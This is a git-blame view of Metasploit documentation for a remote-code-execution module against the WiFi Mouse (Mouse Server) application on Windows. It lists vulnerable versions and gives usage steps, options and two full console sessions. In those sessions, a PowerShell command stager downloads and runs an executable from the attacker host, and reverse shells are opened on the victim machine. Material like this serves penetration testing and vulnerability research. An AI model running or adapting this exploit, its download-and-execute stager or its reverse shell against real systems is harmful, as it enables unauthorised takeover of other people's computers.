Files
metasploit-gs/documentation/modules/exploit/windows/misc/wifi_mouse_rce.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

144 lines
5.3 KiB
Markdown
Raw Normal View History

2022-09-05 08:16:49 -04:00
## Vulnerable Application
The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the
authentication is implemented entirely on the client side. By utilizing this
2022-09-21 15:02:04 -05:00
vulnerability, it is possible to open a program on the server (cmd.exe
2022-09-21 16:38:50 -04:00
in our case) and type commands resulting in an RCE.
2022-09-05 08:16:49 -04:00
Versions 1.8.3.4 (current as of module writing) and before are vulnerable.
2022-09-21 15:02:04 -05:00
Version 1.8.3.4 can be downloaded from https://wifimouse.necta.us/apk/MouseServer.exe
at the time of writing.
2022-09-05 08:16:49 -04:00
2022-09-21 15:02:04 -05:00
Version 1.8.3.0 can be downloaded from https://wifimouse.necta.us/apk/MouseServer1.8.3.0.exe
Version 1.8.2.3 can be downloaded from [edb](https://www.exploit-db.com/apps/46b494c56615f48dd09065108d604762-MouseServer.exe) or from https://wifimouse.necta.us/apk/MouseServer1.8.2.3.exe
Version 1.7.8.5 can be downloaded from https://wifimouse.necta.us/apk/MouseServerLatest.exe
2022-09-05 08:16:49 -04:00
## Targets
### Stager
2022-09-21 16:35:08 -04:00
This is Metasploit's cmd stager, it has two flavors which can be changed through the advanced option
`CMDSTAGER::FLAVOR`.
1. `psh_invokewebrequest` (default) this one types the command and pulls back the payload nice and fast.
You should use it in almost all circumstances.
2. `certutil` typing of the payload appears on the user's screen, and is thus unreliable
(needs ~3.5min of solitude). If the user types anything or moves the focus to another window, exploit will fail.
2022-09-05 08:16:49 -04:00
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/wifi_mouse_rce`
2022-09-05 08:23:40 -04:00
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Wifi Mouse (Mouse Server).
2022-09-05 08:16:49 -04:00
## Options
### SLEEP
2022-09-21 15:02:04 -05:00
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
2022-09-05 08:16:49 -04:00
### LINEMAX
How long each line should be that is sent for processing. While the program
2022-09-05 08:16:49 -04:00
seems to be able to take ~2048, anything more than ~1020 seems to crash the program. 1000 - 1020 should be safe.
2022-09-21 15:02:04 -05:00
Defaults to `1020`.
2022-09-05 08:16:49 -04:00
## Scenarios
### Wifi Mouse (Mouse Server) 1.8.3.4 on Windows 10 using `psh_invokewebrequest` Stager
2022-09-05 08:16:49 -04:00
```
resource (mouse.rb)> use exploits/windows/misc/wifi_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mouse.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (mouse.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
2022-09-09 05:57:36 -04:00
resource (mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/wifi_mouse_rce) > run
2022-09-05 08:16:49 -04:00
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:1978 - Opening command prompt
[*] 2.2.2.2:1978 - Typing out payload
2022-09-21 16:35:08 -04:00
[*] 2.2.2.2:1978 - Using URL: http://1.1.1.1:8080/qGn4ESH
[*] 2.2.2.2:1978 - Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\IDcEhcbA.exe http://1.1.1.1:8080/qGn4ESH & %TEMP%\\IDcEhcbA.exe & del %TEMP%\\IDcEhcbA.exe"]
[*] 2.2.2.2:1978 - Command Stager progress - 100.00% done (146/146 bytes)
[*] 2.2.2.2:1978 - Client 2.2.2.2 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.98) requested /qGn4ESH
[*] 2.2.2.2:1978 - Sending payload to 2.2.2.2 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.98)
2022-09-05 08:16:49 -04:00
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
2022-09-21 16:35:08 -04:00
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50211) at 2022-09-21 16:29:06 -0400
2022-09-05 08:16:49 -04:00
[*] 2.2.2.2:1978 - Server stopped.
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
2022-09-09 05:57:36 -04:00
C:\Windows\system32>whoami
2022-09-05 08:16:49 -04:00
whoami
win10prolicense\windows
2022-09-09 05:57:36 -04:00
C:\Windows\system32>systeminfo
2022-09-05 08:16:49 -04:00
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Wifi Mouse (Mouse Server) 1.8.2.3 on Windows 10 using `certutil` Stager
2022-09-05 08:16:49 -04:00
```
resource (mouse.rb)> use exploits/windows/misc/wifi_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mouse.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (mouse.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
2022-09-21 16:35:08 -04:00
resource (mouse.rb)> set CMDSTAGER::FLAVOR certutil
CMDSTAGER::FLAVOR => certutil
2022-09-05 08:16:49 -04:00
msf6 exploit(windows/misc/wifi_mouse_rce) > set verbose false
verbose => false
msf6 exploit(windows/misc/wifi_mouse_rce) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:1978 - Opening command prompt
[*] 2.2.2.2:1978 - Typing out payload
[*] 2.2.2.2:1978 - Command Stager progress - 1.01% done (1019/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 2.02% done (2038/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 3.03% done (3057/100776 bytes)
2022-09-21 16:35:08 -04:00
...
2022-09-05 08:16:49 -04:00
[*] 2.2.2.2:1978 - Command Stager progress - 98.08% done (98843/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 99.09% done (99862/100776 bytes)
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] 2.2.2.2:1978 - Command Stager progress - 100.00% done (100776/100776 bytes)
[*] Command shell session 3 opened (1.1.1.1:4444 -> 2.2.2.2:50926) at 2022-09-04 15:11:29 -0400
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Program Files (x86)\MouseServer.exe>whoami
whoami
win10prolicense\windows
C:\Program Files (x86)\MouseServer.exe>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
2022-09-05 08:16:49 -04:00
```